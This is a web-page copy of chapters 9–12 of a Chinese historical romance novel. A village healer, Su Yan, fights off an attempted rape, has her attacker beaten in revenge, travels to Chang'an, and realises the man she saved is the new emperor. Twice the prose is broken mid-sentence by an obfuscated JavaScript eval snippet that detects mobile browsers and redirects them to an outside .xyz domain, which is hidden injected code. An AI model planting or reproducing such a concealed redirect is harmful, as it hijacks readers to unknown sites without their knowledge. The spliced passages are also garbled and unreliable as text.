趁着这次徐墨怀平安归来,徐晚音便撺掇着让他早日与林馥完婚。 “林馥还在守孝,急什么。”徐墨怀搪塞了她一句。 徐晚音立刻说:“林馥都十八岁了,再耽误不得,孝期只剩半年,阿兄还要早日准备得好,以免仓促了人家。” 徐墨怀瞥她一眼,淡声道:“你究竟是为我,还是为林家?到底是嫁出去的妹妹,竟也向着外人。” “阿兄哪里的话,我自然是向着你,秦王不死,阿兄尚不能安心,与林馥结亲亦是稳住了林家。何况林馥倾城之姿,又是个京中数一数二的才女,哪点让你不满意了……” “没有不满意。”徐墨怀正批阅折子,宫人便将洗净的新枣端进来。 徐晚音伸手拿了一颗正要塞进嘴里,他却突然抬头看着她,吓得她动作都僵住了,愣愣地问:“怎么……怎么了?” “无事。”他又收回目光,若无其事地低头看折子。 只是突然一瞬间,他想起了有个人站在枯瘦的树下,仰着头去望空落落的树枝,一本正经地说:“这棵树结的枣子可甜了,等它结果了我摘给你尝尝。” 徐墨怀捏了捏眉心,暗自叹了口气。 他回来的这些时日,每日都有缠身的政事,鲜少会想起苏燕,却又做什么都能想到苏燕。 一支笔,一朵花,一颗枣子,好似都能勾起点什么。 “阿兄回来以后好像有点奇怪。”徐晚音抱着手臂打量他。 “何处怪了。”他眼睛都不抬一下。 “总是突然发呆,还莫名其妙地喊错人。”徐晚音为了强调自己说的没错,还加了一句:“你宫里的人也这么说过。” 徐墨怀面不改色。“谁说的,拖下去拔了舌头。” “阿兄是不是有事瞒着我?” “没有。” 9. 第 9 章 肩上的伤养好了以后,苏燕照常去山上采药。倘若得了空,便去周胥的私塾跟着念书。 从前写一封信,几乎一个字一个字地去问周胥,如今却好了太多,时常写完一段也很少出差错。 苏燕自知周胥帮了她许多,便时常跑腿给他送药,将自己种的菜都送到了他家。如今眼看着入夏,山中的野桃子应当也成熟了,她背着箩筐去采药,准备顺带再摘些野桃给他送去。 连着翻了一座山,苏燕累得气喘吁吁,才算找到了自己去年看到的桃树。还未熟透的桃子泛着青,咬下去有些微酸。她摘了几个丢进筐里,正想下山,却突然想起来,这座山就是当初她与莫淮躲避官兵的地方,她也正是在此处受的伤,至今还未好全。 想到这些,她心中便有些感慨,离二人分别有些日子了,她其实很担心莫淮此刻是否平安。本来她一个人过了好多年,好不容易有人陪着了,却突然离开,屋子也重新变得空落落的。走到灶房的时候,她会情不自禁想起莫淮一边咳嗽,一边生疏地添柴,最后被烟熏得眯着眼睛往外跑。 明明她以前也是一个人,如今不过是恢复原样罢了,却觉得十分不习惯,只能多做些事,似乎忙起来就不大容易想起他。 苏燕在山中走了一段路,也见到了两人分别的大石头,周围的枝叶郁郁葱葱,雨水也早已将她流在此处的血给冲了个干净。 她站在大石前出神地望了一会儿,准备转身离开,脚底却踩上了什么东西。她以为是树枝一类的,也没有留心,然而再一踩,感觉却不大对,便用脚踢开了上层的落叶。 露出来的是一个泛着黑褐色,长着霉斑青苔的东西,露出的一角隐约能看出,是一个油纸包起来的什么东西。苏燕蹲下身子,将它抖了抖拆开,露出里面已然发霉的糕点。 不多不少,仍是那几块。 她记性很好,一眼便知道了,莫淮没有吃她留下的点心。 临近晌午日头正晒,繁茂的枝叶遮去了大半日光,苏燕蹲在林荫下好一会儿没动。 看到这个纸包,她并不意外,只是觉得心底有点难受,又说不清楚。 莫淮大抵是不喜欢这糕点的,尽管她特意省着留下给他,却不曾想过也许他根本就瞧不上,更何谈喜欢。若换他在的时候,她应该会忍不住发顿脾气,只因他浪费自己一片好心。可正如张大夫和孟娘子他们说的,其实她自己心里也没底,莫淮这一走,究竟还能不能回来了。 她仍是觉得该要有个答案,生也好死也好都叫她知道一声。 苏燕无奈地叹了口气,起身拍了拍灰,一脚将那发霉的糕点踢远了,朝着山下走去。 入夏后村子里蚊虫便更多了,苏燕从药铺拿了雄黄,在窗户和门口都洒上,以免蛇虫钻进屋里,而后便将汗湿的衣衫换下,准备去河边打水来洗澡。 附近没什么人家,苏燕也乐得自在,她将袖子高高挽起,一双玉藕段似的手臂露出来,额头上还泛着细密的汗。 水声潺潺,掩盖了其他的声响。 苏燕俯身去打水,猝不及防被人从后抱住,一双粗糙的手死死捂着她,用力将她往后面拖。 河边都长着菖蒲与芦苇,倘若有人将她按倒了想做些什么,也是没人看见的。 那人身上一股骚臭,令她几欲作呕。几乎是才将她按在地上,就开始急不可耐地扯她的裤带和衣襟,一张嘴就要往她脸上贴。 苏燕见到眼前人正是马六,恶心得破口大骂,双腿拼死地蹬他,又被他死死压制住。 跟着乡村仆妇混大,苏燕嘴里也说不上什么干净的词,什么脏骂什么,马六骂骂咧咧扇了她一耳光,打得苏燕耳朵嗡嗡作响,却也让她趁此机会挣脱一只手,发狠地去扣马六眼睛,疼得他卸了力道惨叫一声。 苏燕立刻翻身爬起来,抄起她挑水的扁担,用了蛮力抽打马六,一下打在马六嘴上,直打得他牙齿都松晃,半张脸也红肿了起来,才往外吐出嘴里的血,便口齿不清地向她求饶。 “错了……算我错了,燕娘子就饶了我吧……饶了哥哥,下次再不敢轻薄你,是我糊涂……哎哟!真的不敢了!” 苏燕是气急了眼,知道马六是蓄谋已久,胃里都跟着一阵翻涌,然而终究是没解气,便一耳光打过去,张口就喊大黄来。 马六一听便也什么都不管了,捂着眼睛如同瞎眼的耗子一般乱窜。随着几声狗叫,大黄已经听了呼唤跑过来,追着马六咬,他一边惨叫一边跑远。 苏燕心有余悸,强忍着恶心捡起掉落在地的木桶。脸上被打了一巴掌,现如今还在发麻,也不知这畜生是使了多大的力。她去河边洗了把脸,这才冷静下来。 马家村对她心怀不轨的又何止一个马六,像她这样无依无靠的人,谁都想上来啃她一口。 如今没了莫淮,日子也一样要过下去。她还是要攒钱去寻亲,离开了马家村,再也不用受这污名和没完没了的骚扰。 马六爹娘是不讲理的泼货,如今儿子被苏燕打得不轻,必定是要没脸没皮上门讨说法。苏燕最烦和他们纠缠,和张大夫交代一声便收拾了衣裳去镇上,赶在他们来之间先避一避。 等苏燕去了药铺,恰好撞见周胥,见她脸颊发红还有些微肿,立刻严肃了神情,问她:“有人欺负你?” “是村里一个无赖,不碍事,他也没讨得了好。”苏燕想起马六一嘴的血便只想冷笑。 她从小便在村子里受人欺负,也不是个任人拿捏的好脾气,只要能还手就绝不忍着,倘若马六下次再犯,她便是去衙门蹲大牢也得废了他下身的二两肉。 周胥扫了她一眼,又问:“身上可还有伤?” “自然没有”,苏燕说完就将箩筐放在地上,从里面掏出一个灰扑扑的布袋递给他。“这是我在山上摘的桃子,先生若不嫌弃就拿回去尝尝吧。” 周胥向她道了谢,接过桃子后问她:“你这几日可还回去?” 苏燕也正愁此事,说道:“还是不回了,先在东家这儿避着。马六一家子混账东西,指不准要找我算账,我回去必定是不得安生,在镇上待着他若敢为难我,我便跑去官府找县令。” 周胥犹豫了一下,还是说:“你若应付不来,来我家避一避也是好的。” “总是麻烦先生,我心中也过意不去。” 周胥笑了笑,说道:“你若不想麻烦我,才会让我心中过意不去。” 紧接着他又问:“近日你可收到那位郎君的回信了?” 苏燕摇了摇头,眼神中难掩失落:“尚未收到。” 周胥沉默片刻,宽慰道:“听闻大靖如今正动荡,太子已经回朝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002113|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恐怕不日便要登基,正忙着清扫逆党,京畿道起了兵乱还在镇压,兴许书信也要耽搁些时日,你且不要太心急了。” 苏燕点点头,却发现周胥面色似乎不好,问道:“周先生有烦心事?” 他叹了口气,说:“两年前圣上便说要推行科举,遭到那些名门望族的反对,听闻当朝太子手段强硬,眼看科举便要推行了,却突然出事。如今即便太子回京,也要收敛着再不能与士族硬碰硬,推行科举只怕也是不了了之。” 苏燕听得一头雾水,也不知道科举是什么,只大概明白周胥是希望科举推行的。“这科举到底是做什么的,为什么皇上想推行,那些名门望族还敢不答应?天子不是说一不二的吗?” 周胥知道和苏燕说这些,她多半是不明白的,便只说:“如今在朝为官看重门第,倘若有才能,若得不到举荐也是无用,然而那些士族只肯提拔自家人,哪里轮得到我们这些寒门,若科举推行,便是穷苦人家也能凭着才学入仕……” 苏燕听懂了,恍然大悟道:“周先生想当官啊!” 被她这么直白的指出来,周胥略有些尴尬地低眉,小声道:“周家没落,我却只能屈居山野之间,无颜面对先祖。何况士族中人多腐败,为官本该是能者居上,叫他们都占了去,实属不公。” 苏燕听出他这话是有几分愤慨在里面的,安慰道:“不是说这太子手段强硬,说不准也是暂时忍着,日后肯定还会推行科举。先生这样的才学,只在私塾中教书确实是委屈了……” 周胥听到她这番话,紧皱的眉似乎也舒展了不少。 “你不是今日还要寄信去吗?若有不懂的便来问我。” “多谢了。” —— 皇上的身子只怕是撑不过这个夏天了,宫人们都议论纷纷,猜测着徐墨怀何时即位。 他本人却对父皇的身子不大关心,只去见了一面,看着那面如枯槁的父皇,用呕哑的嗓音交代后事,末了便双眼浑浊地望着帐顶,喉咙里发出呼噜的气声,也不知在念叨着谁,总归不会是他。 当今太子并不受宠,最初的太子也不是他,这件事在宫中称不上秘密。不过他的谋略才识都是皇子中最出众的那一个,最后还是扳倒了自己的兄弟,成功坐上了太子之位。兴许正是因为幼时和父皇就不亲近,如今看着他快死了,徐墨怀心中也没什么感受,反而有些恼火他丢了一堆烂摊子要他清理。 等徐墨怀准备回东宫的时候,便有人有意无意提起要他添几位侍妾的事。 这帮混账管东管西,连太子的床榻都要关心。徐墨怀只觉得厌烦,找了理由回绝。 正好与林馥的婚期也该定下了,林氏家风严苛最看不惯淫|靡做派,都快成亲了还不断往后院添侍妾,说出去还叫人以为他瞧不上林馥。 东宫静悄悄的,连树上扰人的夏蝉都被捕了个干净,只有风吹枝叶的婆娑声响,宫人们走动的脚步声都很轻,和大吵大闹的苏燕一点都不一样。她只要回家了,还不等进屋就要唤他一声。 徐墨怀回到了金碧辉煌的殿宇中,那些充斥着鸡鸣狗吠的日子,似乎一下子就远去了,屋里只剩下清雅的松香味,并没有潮湿的霉味和隐约的牛粪臭气。 他总觉得那些过往就像是一场梦,此刻再回想,一切都显得荒诞。 10. 第 10 章 苏燕留在药铺里帮工,除了上山采药以外,多余的时间都用来向周胥学识字。 听闻她还在给那位没了音信的郎君寄信,孟娘子和东家都是劝她不要太上心,以免教那薄情郎给骗了。 苏燕始终是相信莫淮不会骗自己,他说要娶她的时候,即便天黑着眼神都是在发亮,连语气都那样情真意切,骗人怎么能做到那么像? 身边人见她死心眼,渐渐地也不劝了,万一苏燕说的是真话,他们岂不是做了棒打鸳鸯的恶人。只有周胥似乎对她热忱于写信的事不置一词,只要她来请教都很乐意帮忙。 本来这样安生一段也很好,然而过了不算太久,张大夫拖人给苏燕传话,说她的狗不见了。 苏燕只好回到马家村,满村子寻狗,田里和山林子都找遍了,怎么喊也不见大黄回来。 大黄还是张大夫在她母亲死后送给她的,一直养在身边看家,不知为她赶走了多少心怀不轨的人。苏燕对大黄感情深厚,自己能吃上肉也绝不会亏待了它。 从前即便是隔着很远,只要听到她呼唤,大黄就会飞快地跑到她身边,然而这次她找了一整日,仍是半点踪迹也没见到。 直到天色渐晚,有看不过去的村民才悄悄和她说,昨日看到马六和他爹拖着一个大布袋子回家去,那布袋子还在往下滴血,逢人问了就说在山上逮的野猪崽子。 可谁不知道,马六向来是游手好闲,连锄头都不拿几次的人,那野猪跑得多快,他们几个人都抓不住,凭着一个马六和他的痨病爹就能抓到了? 苏燕听完这番话,只觉得全身血液都往头顶去了,直愣愣地站着简直要喘不过气来,等平复过来后仍觉得怒火烧得旺盛,恨不得现在就去将马六一家子碎尸万段。 村民说完,又劝她:“你找上门了,他们一家子泼货哪能承认,反将你打一顿,这事也只能吃个闷亏……” 苏燕和她道了谢,回家去找了张大夫说明此事。张大夫年纪大了,又瘸又瞎,只能勉强替她照看着,如今狗丢了自责不已。 “都怪那无耻的一家子,怎么能怨到你头上。”苏燕宽慰了张大夫几句,脸色仍旧阴沉沉的,紧握柴刀一副要去跟马六拼命的模样。 “也没法子,现今你的狗是指定叫他们给吃了,要也要不回来……” 不仅要不回来,还没地方讨说法。只要他们抵死不承认,苏燕也拿他们没办法,反正是没脸没皮的,也不在乎受人白眼。 苏燕也知道这个道理,可她死活咽不下这口气,陪她多年的狗俨然是一个家人了,却叫人活活打死给喂进肚子。哪有家人被打死,她还能忍过去的道理,不就是看她孤苦无依没人撑腰,如今家里的男人一走,忙不迭地来欺负她。 等回了家以后,她将冬衣的暗袋给拆开,将里头一个玉镯子给拿出来。这本来是她阿娘给她攒下的嫁妆,苏燕当初饿得喘不上气也没想过把这镯子给卖了,现如今却总觉得要给自己挣口气,否则就是死了还要念着这些憋屈事儿。 变卖了玉镯子以后,苏燕换了四贯钱回来,去找街市上开猪肉铺的两兄弟,出钱托他们去帮自己教训马六。 两兄弟生得膘肥体壮,天热后敞了衣裳在摊子前剁肉,油亮健壮的肉跟着砧板抖动,随着剁砍声让人心生畏惧,整条街市都不敢招惹他们。 苏燕是铁了心要教训马六,为了撇干净自己,出的钱也就多了些,虽是脏活,二人答应得也算爽快。 玉镯子卖了以后,苏燕还剩下不少余钱,仔细存起来再不敢动,等回头再买了香纸去她阿娘坟前祭拜。 肉铺两兄弟办事也十分利索,苏燕在药铺帮工的时候,听说了马六在街上喝得烂醉,不知招惹了谁被套麻袋打断了腿,如今正在衙门哭诉,一家子都在那边闹,又找不着人,县令听得心烦让人把他们丢出去了。 打人的下手不轻,马六后半辈子只能拄拐。 苏燕正在抓药,听到这话恨不得大笑几声。本来还心疼那半贯钱的她现在浑身舒畅。 连东家都能看出她的高兴来,打发着她去周胥家送药。 苏燕去的时候周胥还在学堂教书,走近了能听到几声松散无力的读书声。 所幸她也不急着回去,给周胥打了个招呼,便去后院替他将药煎上了。 周老夫人身子骨不好,年轻时也是书香门第出来的,身上也有几分傲气在,苏燕看向她的时候,她正坐姿端正地在廊下晒太阳,面对苏燕的好意连眼皮都不抬一下。 苏燕也无所谓周胥她娘的看法,煎好药起身就走, 等周胥赶回来的时候,才发现人已经不见了,便看向他的母亲,问道:“已经快晌午了,阿娘为何不留住苏燕用饭?” 老太太睁开浑浊的眼,面上皱纹如一道道沟壑,薄唇吐出来的字语也有几分刻薄。“上不得台面的粗鄙丫头,总叫她来作甚?” 周胥忍不住皱了眉,说道:“燕娘只是出身不好,为人却是挑不出错的,何况她还几次帮着送药来……” 老太太眼神一下子就凌厉了起来,说道:“你当我没打听过不成?娼妇生的野种,连爹都不知道是谁,在穷山沟里长大,也不知让多少脏汉子摸过,前些时日还跟一个外乡人搅在一起,现在叫人骗了身子,转过头就想勾引你!世上再找不到比她更不知廉耻的女子。” 这一连串的话说出来,连周胥都黑了脸,不耐道:“母亲不必听着这些编排人的话,燕娘并非是这样的人。” 他语气一顿,接着又说:“何况燕娘救的那外乡人未必是什么骗子,说不准日后就会回来报答她的救命之恩。” “不过是长得有几分姿色,你若上进些,就该好好增进学识,投去望族做门客,日后若得了赏识,即便是主家的娘子,那也不是娶不得,目光何以如此短浅!”老太太说得义愤填膺,一时间竟咳嗽起来,周胥虽心中不悦,却还是走去给她拍着背顺气。 “孩儿不是目光短浅,阿娘日后就明白了……”周胥面色沉着,没有再多说。 —— 药铺来人不多,东家索性让苏燕去采药,自己留在铺子里照看。一直到天色将晚了她才回去,正瞧见门口围着好些人,嘈杂一片也不知在吵闹什么。 等她走近了,才发现孟娘子和东家正掐着腰骂人。坐在药铺门口的就是马六一大家子,哭的哭闹的闹,马六则惨白着一张脸被他爹娘架着,连站都站不稳。 苏燕还没挤进去,就被马六的亲戚给瞅见了,指着她大喊:“小娼妇回来了!逮住她送到官府去!” 苏燕忙往后退了两步,冷着脸说:“我还当哪来的狗吠,原是你们一家子,难怪没脸没皮堵着人家店门口吵嚷。说话可是要讲证据的,还以为官府是你家不成?” 马六他娘立刻扯着嗓子哭喊:“肯定是你找了相好的来打伤我家六郎的腿!要不然怎么不敢回去!你个不要脸的,我今日非要打死你!” 孟娘子和东家将苏燕拉到身后,拿着扫帚锄头堵在门口,如同两个门神一般威风地站着。“你是哪儿钻来的老泼妇,敢到我家闹事,想去官府?好啊!我现在就领你去,看县令抓谁!” 方才欺负苏燕时正威风的几人顿时就没声了,神色怯怯地望了孟娘子一眼,又强撑着气势说:“她找人打伤我儿,这帐不能就这么算了!要么跟我们去见官,要么就做牛做马,一辈子照顾我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002114|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家六郎!” 苏燕忍不了了,走出来狠狠啐了他一口:“当真是老不死的腌臜东西,你儿子猪狗不如,这种话都敢说,也不怕口舌生疮烂了你的嘴!” 苏燕牙尖嘴利半点不落下风,气得马六一家子涨红了脸,上来就想硬扯她,场面变得一发不可收拾。 马六一家分明是找不着害他儿子的人,又不想就这么过去了,便死活将罪名按在苏燕头上,看她孤苦无依就当她是个没人护着的,想硬抢了她回去给马六做媳妇。哪知苏燕时常来送药,跟街坊的人也混了个面熟,众人也不会真看着他们硬将她带走。 这一家子打起架来又扯又掐,被苏燕打了一巴掌就开始扯着嗓子哭嚎。 “非要说我让人打你儿子,你倒说说我好生让人揍他做什么?怕不是你们自己做了亏心事,才会招人报复!” 苏燕说完,他们又是恼羞成怒地扑上来,一直到官府来人才将他们轰走。 等人慢慢散了,东家和孟娘子安慰了苏燕两句,她觉得是自己给二位添了麻烦,连忙道了几次歉。好在东家也不放在心上,只骂了马六他们几句便过去了。 谁也不曾想,第二日马六他们一家子又来了,不做别的,就坐在药铺门口,见到苏燕就骂,但凡有人进店抓药,就要说些污她名声的刻薄话。 到底是比不过这家人不要脸面,苏燕也不好误了东家的生意,想着先回村子里避一避。孟娘子却先一步替她找了周胥,听闻此事后周胥也没有犹豫,从后门去见了苏燕,说道:“你若回了村子,身边也没个人护着,他们只怕更要变本加厉地欺辱你。若不嫌弃,先去我家住一阵子吧……” 见苏燕犹疑不定,孟娘子和周胥又劝了几句,这才叫她点了头道谢,当晚就背着包袱去了周家。 周老夫人虽不大待见苏燕,却也没当着她的面说出什么难听话。只是苏燕虽孤苦,却也不是个看不懂眼色的,面对这样不加掩饰的轻蔑,还是无法做到忽视。 在周家住着的几日,苏燕帮着整理菜园子不说,还洗衣做饭替老夫人煎药,倒是半点没换得她的好脸色。而且周老夫人见到周胥教她写信便不耐烦极了,好似她占了她儿子的便宜一般。 苏燕如今回不去家,又不好去药铺添麻烦,留在周家太久也不像话。 她在信里和莫淮抱怨了这些事,落笔后才觉得心中空落落一片。其实她自己也不知道这话是说给谁听,如今连收信人的死活她都不知道了,更难以盼到什么回信。 周胥温和有礼,可她总觉得别扭,只能时常找采药为借口偷偷回去。 已经入了冬,河边的芦花被寒风拂动,翻飞如雪浪。苏燕脸颊冻得微红,头发上覆了一层雪似的白。 张大夫裹紧了衣裳,听她念叨着自己的心事,冷不丁说了句:“那你怎么不去找他?” 正碎碎念的苏燕忽然就沉默了,扭过头盯着他看,语气很是惊讶:“那可是长安!” “长安又不是皇宫,你怎么就不能去了?” 她本来一直盼望到长安去,等有人真说着让她离开云塘镇,去长安看看的时候,她却又开始踌躇。张大夫看穿了她的想法,喃喃道:“左右你也无牵无挂的,连狗也没了,还不如去长安看看你的心上人是死是活,也好做个了结……再不济也能去寻你的亲人。” 张大夫的三言两语便挑起了苏燕的念头,想到去繁华的长安,她有些胆怯,却又忍不住带着些期冀,想了好一会儿,才说:“我一个人吗?” “这么多年你不都是一个人过来了?” 苏燕攥紧手指,吸了吸冻红的鼻子,说道:“你说的对。” “那我就去吧。” 11. 第 11 章 对于苏燕要去长安这回事,除了张大夫以外,没有一个不反对的。连一向待她温柔耐心的周胥都沉了面色。 然而苏燕就是一个很倔很拧巴的性子,下定决心之前会犹豫很久,一旦决定了,任谁劝都无法更改她的主意。 周胥去见苏燕的时候,她正在收拾衣裳,准备和明日的商队一同去长安,路上也好有个照应。 “非去不可吗?”周胥忍不住问她。 苏燕停下手中的动作,回过头略显无奈地说:“我知道先生是为了我好,可若不亲自去长安一趟,我始终放不下心来。” 周胥紧抿着唇,眼神有几分冷硬。“你是想去寻亲,还是想找到你那位心上人,就此留在京城,再不回来了?” “当然不是。”苏燕毫不犹豫地否认,紧接着说:“张大夫还在这里,我说好了要替他养老送终,还有我阿娘也葬在此处,我总不能将她孤零零地抛弃。若真能找到亲人,我也是要回来将他们接走的。” “那你的心上人怎么办?” 苏燕提到这里神色也不自在了起来,微低着头,说道:“其实我也没想好,只是如今连他生死都不知,又何必再想旁的。” “若他是出身望族,不愿娶你为妻,只让你做妾呢?”周胥说话很少这样直白不留情面,然而他自己比苏燕看得更清楚。连他这样没落士族都不屑与庶人结亲,又何况是能住在崇安坊的贵人,即便看在救命恩人的面子上,也绝不可能真的娶苏燕回家,撑破天也是给她一个妾侍的身份。 苏燕并未犹豫,立刻说:“那我就回来。” 她皱着眉,神情难掩低落。“我也不是什么死缠烂打的人,但为救他也花费不少心血,让他给我几贯钱总不过分,做妾是万万不能的。我娘说了,说好听了是妾,实际上就是奴婢,主人家随意打杀都没人管,做什么都由不得自己,还不如种地放牛来得自在……” 听苏燕这样说,周胥的脸色缓和了些,轻叹口气。“路上当心,我等你回来。” —— 清水郡到长安的路不算近,加上商队要运货,走得也不算快。路上还下了两次大雪,耽搁了好几日,连除夕都是和商队的人一起过的。 这个商队从北边来,运的都是些西域的新奇物件,里面还有几个金发碧眼的胡人。苏燕没有家人,去年的除夕是和徐墨怀一起度过。当时正巧下了大雪,苏燕支着桌子教他包饺子,莫淮包得歪歪扭扭,十分入不得眼。 苏燕还记得春节当日,莫淮一早便不见身影,她穿好衣裳正要去洗漱,却见到了他在院子里堆了一个半人高的雪人,一看便是女子模样。 他腿伤未好,走路还一瘸一拐的,走了两步险些摔倒,苏燕连忙去扶他。 莫淮抓着她的胳膊,突然朗声念道:“旋穹周回,三朝肇建。青阳散辉,澄景载焕……” 她听不懂,疑惑道:“这是什么意思?” 莫淮的肩上发上都落了雪花,呼出的白雾让他的面容都有几分朦胧,眼中的笑意却清澈明净。“是新年祝词,听不懂也无甚要紧。” 回首当时,竟然已经过了一年之久。 苏燕裹紧了身上的被褥,有些出神地想,她今年请教周胥,已经学会了那个新年祝词,若是能见到莫淮,她也要给他念一遍。 一路舟车劳顿,直到在长安城门口勘合公验的时候,苏燕还有些恍不过神来。她竟然就这么跋山涉水,独自来到了陌生的长安城。 比起穷乡僻壤的云塘镇,长安街巷相连,一眼望不到尽头,路上也都是车马行人,各式各样的摊贩商铺,以及穿着绫罗绸缎策马而过的贵人。 苏燕只敢沿着街边走,生怕冲撞了什么人,又忍不住好奇地四处张望。她在云塘镇这么多年,除了偶尔经过的商户以外,从未在镇上见过谁家有马车的,可长安城不仅有马车,上面还雕花镶玉好生奢华。 她一路看一路找,却不曾想长安竟这样的大,边问边走都快日落了还没走到崇安坊,又怕赶上宵禁被抓进大牢,连忙找个客栈住下。 客栈的东家见她是外乡人,送膳食的时候顺带说了句:“明日就是上元节,街上有灯会看,小娘子要是还想看焰火,就去丰乐坊那块儿,听闻明日林相国寿辰,去了还能讨个赏钱。” 苏燕道了谢,回了自己的小厢房。 夜里下了大雪,等清早起来的时候,雪都铺满了长街,白得晃人眼睛。 苏燕的冬衣不算厚,冷风吹来冻得她直哆嗦,缩着脖子往崇安坊那边去了。 正如那客栈东家说的,大白日街上都挂好了各式样的灯笼,上面画着花鸟虫鱼,还有不少是写着字儿的,倘若苏燕认出了哪个字,就会在心底暗暗高兴。 雪地被人踩过,车马再碾过一遍,已经十分硬实了,她还得小心不要摔着。 听人说,今天是没有宵禁的,这些花灯彻夜通明。 苏燕走得更快了些,一心想找到莫淮。 她记得很清楚,去年上元节莫淮还跟她说过,长安的花灯一到夜里可好看了,恍若人间仙境一般,还有那些富贵人家,灯都是上好的缎子做成……他还说等一切了结,就带着她一起看花灯,从街头看到街尾。 离崇安坊只剩一条街了,苏燕感觉自己的心跳似乎都快了些,就像有个小锤子在敲她似的。 她正要继续走着,就听见身后传来阵阵响动,回头去看,似乎有一大批人正朝此处走来,紧接着突然 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苏燕满心都觉得荒诞,于是又悄悄地抬起头,朝那逐渐靠近的新帝看了过去。 精致到像画一样的眉眼,在一身华服的衬托下,显得凌厉而冷峻。 这一眼,她终于确定了。也是同一刻,就好似有个什么东西突然碎了似的,苏燕颤了一下,眼眶莫名发酸。 雪花飘到眼睫上,将苏燕的睫毛打湿成一缕缕的,她眨了眨眼,肩膀抖得厉害。 天子车驾走远了,身旁的大娘嘀咕道:“那可是天子,直视龙颜是为大不敬,要受刑……” 大娘见苏燕在发抖,以为她被吓到了,便不再说什么。 直到天子仪仗陆陆续续走远,再看不见那人的车辇,苏燕仍跪在地上没有起身,按在雪地里的十指已经冻得通红,她也只愣愣地看着。 去年这个时候,她的心上人坐在她身侧包饺子,目光温柔而专注地听她讲话,包出来的饺子丑到入不得眼,但她其实很高兴。而后他在辛夷花树下替她簪花,在山洞中抚着她的脸颊,眼神总是炽热而缱绻,似乎不曾掺进半点虚假。 苏燕来之前,想过很多种可能,也许会有人说莫淮死了,亦或是说她一个乡野村妇只能做妾,唯独没有想到,竟有人告诉她:那是天子,她不能看的,看了就是大不敬…… 即便那个人曾说要娶她为妻,即便二人早已相视千万次,甚至是在阴寒山洞中许下誓言…… 于是,苏燕浑身僵冷,一动不动地跪在雪地里,任由心上人的车辇从身前远去,也不敢抬头看他一眼。 云泥之别……她平生第一次真切地体会到,什么是真正的云泥之别。 12. 第 12 章 徐墨怀即位不久,朝中却被他牢牢把控,秦王再无翻身的可能。只是如今士族权力过盛,依然是朝中的心头大患,想要提拔寒门,又要平衡住那些名门望族,并不是件容易的事。 常沛看着徐墨怀长大,曾任太子少师,如今又被提拔为中书舍人,几乎是他最得力的心腹。当初徐墨怀被害失踪,便是他在朝中掌事,暗中搜查他的踪迹。 而他也清楚,这位新帝表面看着像是一位端方君子,实际上性格却极为恶劣,在东宫也并不是什么秘密。因徐墨怀多疑傲慢,极少与人交心,夜里又从不让人靠近床榻,一直到他即位了,后院里的妾侍也没近过身。外面却夸赞他洁身自好,对林馥一往情深。 如今他已经登基为帝,后宫再空置便不像话了。常沛从未见徐墨怀喜欢过哪个女子,索性各式样的都替他找了一个,送去宫中让他宠幸,次日那些人都原封不动地被送了回来。 他本想去问清楚,然而徐墨怀已经去林府为林馥过生辰了,排场也着实不小,实际上就是为了给林氏撑面子,好让所有人都知道天子对林氏一族的看重。 虽然徐墨怀去的时候盛大风光,回程却很低调。 正值上元佳节,长安街市挂满了花灯,明亮如昼。徐墨怀穿着便服,和常沛混在人流中,暗处都是乔装的护卫。 雪已经停了,寒风还冷飕飕地往人衣襟里灌。这样冷的天,倒是半点没浇灭百姓对上元节的热情,少男少女都指望着在今日与情人好好游玩。 常沛对于徐墨怀没有邀请林馥同游而疑惑:“郎君为何不请林馥一同赏灯,不久后便是夫妻,总该熟悉彼此。” 方才在府中,连他都看出了林相国的欲言又止。 徐墨怀目不斜视,似乎对这满街的彩灯也提不起兴趣,表情始终淡淡的。 “熟悉了又有何用。何况,林馥未必真心想跟来。” 他想起林馥那副强撑出的笑意就觉得好笑,分明怕他畏惧他,还不得不为了家族而对他曲意逢迎。好在还有几分姿色,家世性子做皇后也正合适,不会惹出太多麻烦。 常沛又问:“送去的几人,郎君当真没有一位中意的?” 提到这件事,徐墨怀眉头就皱了起来。“没有。” 常沛见他面色不佳,便没有再接着说下去。 幼时的徐墨怀与常沛几乎无话不谈,他自然也不是不知晓他的心结,即便折磨死了先帝,也依旧没能让他释怀,又何况他的三言两语。 正走着,徐墨怀却突然停住脚步,回头看了一眼,眼神有片刻的怔忪,然而也仅仅是一瞬,他转过身若无其事道:“走吧。” “郎君方才看见什么了?” “看错了一个人。”他脚步稍微迟钝了一会儿,有些回忆就不容拒绝地涌现。花灯的光散落,映在他脸上晦暗不明,片刻后,有腾空的焰火升空,黑沉的夜幕瞬间开起一簇簇火树,光芒照亮长街,极致的绚烂过后转瞬而逝。 徐墨怀抬起眸子,也不知想到了什么,竟有片刻失神。然而还是没说什么,不等下一束烟火腾空,就已经抬步继续走了。 路上行人驻足在原地,指着烟火兴奋地喊叫嬉笑,情人也趁机拉手拥抱,争相找个好位置观赏。 —— 烟花贵重,只有长安城这样公卿贵族多如牛毛的地方,才有这样盛大的焰火可以看。 苏燕长到十六岁,还是第一次看到烟花是什么样子。 任由街上冷风冻得她瑟瑟发抖,也要找个位置好的地方,坚持看到了烟花放完,天空重归黑暗。 也不知站了多久,她眼睛都有些发酸了,腿也僵冷到走不动,在原地跺脚哈气,才渐渐缓过来。 